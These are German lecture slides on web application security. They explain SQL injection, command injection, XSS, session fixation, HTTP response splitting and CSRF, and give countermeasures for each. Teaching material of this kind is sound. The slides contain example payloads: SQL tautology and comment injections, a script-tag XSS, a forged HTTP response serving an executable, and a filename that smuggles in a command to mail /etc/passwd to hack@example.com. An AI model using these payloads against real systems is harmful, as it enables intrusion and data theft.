Sicherheit in Web-Anwendungen

Thomas Eisenbarth

makandra.com
www.makandra.de

makandra

Agenda

Web-Anwendungen: Was kann angegriffen werden?

Worüber sprechen wir heute nicht?

Web-Anwendungen: Was kann angegriffen werden?

Wir zeigen heute Angriffe, die

SQL Injection

Effekt

Ursachen

SQL Injection: Beispiel

Suche nach Benutzername

SELECT * FROM users
WHERE name LIKE '%Alice%'

SQL Injection: Beispiel

Suche nach Benutzername

SELECT * FROM users
WHERE name LIKE '%'; --%'

SQL Injection: Beispiel

Benutzer-Kennwort ändern

UPDATE users
SET password = 'foobar' WHERE id = 23

SQL Injection: Beispiel

Alle Benutzer-Kennwörter ändern

UPDATE users
SET password = 'foobar'; -- ' WHERE id = 23 

SQL Injection: Beispiel

Login

SELECT * FROM users
WHERE name = 'bob'
AND password = 'secret'

SQL Injection: Beispiel

Login

SELECT * FROM users
WHERE name = 'bob'
AND password = '' OR 1=1; -- '

SQL Injection

Untersuchung und Behandlung von Benutzereingaben notwendig: Maskieren von Steuerzeichen (", ', `, etc.); teilweise Abwehr durch Limitierung der Queries pro Anfrage an die Datenbank

Command Injection

Effekt

Ursachen

Command Injection

def make_thumbnail(filename, thumbnail_filename)
  `convert #{filename} -resize 50% #{thumbnail_filename}`
end
make_thumbnail("failtrain.jpg", "failtrain_thumb.jpg")

=> `convert failtrain.jpg -resize 50% failtrain_thumb.jpg`

Command Injection

make_thumbnail("failtrain.jpg", "failtrain_thumb.jpg; cat /etc/passwd | mail hack@example.com")

=> `convert failtrain.jpg -resize 50% failtrain_thumb.jpg; cat /etc/passwd | mail hack@example.com`


Cross-site scripting (XSS)

Effekt

Ursachen

XSS: Beispiel (Stored XSS)

Hallo, Alice!

XSS: Beispiel (Stored XSS)

<script>alert('Hacked');</script>

XSS: Beispiel (Reflected XSS)

Warum ist XSS gefährlich?

Cross-site scripting

Maskieren aller Ausgaben z.B. aus der Datenbank

Session Fixation

Erläuterung: „Session-ID“

Session Fixation

Effekt

Ursachen

Session Fixation: Beispiel

  1. Alice erhält eine Session-ID von http://example.org/
  2. Bob ist Admin auf dieser Seite
  3. Alice manipuliert Bob's Session-ID, z.B. durch Austausch der Cookie-Daten via XSS
  4. Bob authentifiziert sich am System
  5. Alice ist nun als Bob eingeloggt

Verwandter Angriff: Session Hijacking

Session Fixation

In „relevanten“ Momenten (z.B. Login) muss der Anwender eine neue Session-ID erhalten

Header Injection & HTTP Response Splitting

Effekt

Ursachen

Header Injection

Header Injection

HTTP Response Splitting

HTTP/1.x 302 Moved Temporarily
Location: http://somewhere.tld/
Content-Length: 80
 
<html><body>You are being
<a href="http://somewhere.tld/">redirected</a>.
</body></html>

HTTP Response Splitting

HTTP/1.x 302 Moved Temporarily
Location: http://somewhere.tld/
Content-Length: 0

HTTP/1.x 200 OK
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 47

<html><body>You have been hacked!</body></html>

Content-Length: 80
 
<html><body>You are being
<a href="http://somewhere.tld/">redirected</a>.
</body></html>

HTTP Response Splitting

Benutzerdaten in Header-Feldern maskieren oder ganz vermeiden

Reponse Splitting: Download Injection

Effekt

Ursachen

Download Injection

Windows-Binaries müssen nicht groß sein:

org 100h
mov dx, msg
mov ah, 9
int 21h
mov ah, 4Ch
int 21h
msg db 'Hallo Welt!', 0Dh, 0Ah, '$'
Resultierende ausführbare Datei mit Netwide Assembler (NASM) kompiliert ist 25 Bytes groß

Download Injection

HTTP/1.x 302 Moved Temporarily
Location: http://somewhere.tld/
Content-Length: 0

HTTP/1.x 200 OK
Connection: Keep-Alive
Content-Disposition: attachment;filename=download.exe
Content-Length: 25

(25 Bytes Binärdaten)

Content-Length: 80
...

Download Injection

[1] http://www.phreedom.org/solar/code/tinype/

Download Injection

[1] http://www.phreedom.org/solar/code/tinype/

Cross-Site Request Forgery (CSRF)

Effekt

Ursachen

CSRF: Beispiel

Projekt Aktionen
Geheimes Projekt Bearbeiten Löschen
Weltherrschaft Bearbeiten Löschen
Blumen gießen Bearbeiten Löschen

„Geheimes Projekt“ löschen:

http://example.org/projects/1/destroy

CSRF: Beispiel

http://example.org/projects/1/destroy
<img src="http://example.org/projects/1/destroy" />

Cross-Site Request Forgery (CSRF)

Kritische Aktionen müssen durch Zugriffe von außen abgesichert sein, z.B. durch Tokens.

Gegenmaßnahmen

SQL Injection, Command Injection, Cross-Site Scripting (XSS), HTTP Response Splitting

(Benutzer)eingaben

prinzipiell als gefährlich ansehen und Steuerzeichen maskieren oder entfernen

Gegenmaßnahmen

Session Fixation

Eindeutigkeit des Anwenders sicherstellen, z.B. durch Zuweisen einer neuen Session-ID nach erfolgreicher Authentifizierung

Gegenmaßnahmen

Cross-Site Request Forgery (CSRF)

Benutzer-Interaktion

Häufig durch Frameworks bereitgestellt

Lessons learned (1): Sichere Anwendungen, aber ...

Lessons learned (2): Stimmen aus der Praxis ...

http://makandra.com/talks/

Credits

Icons

Images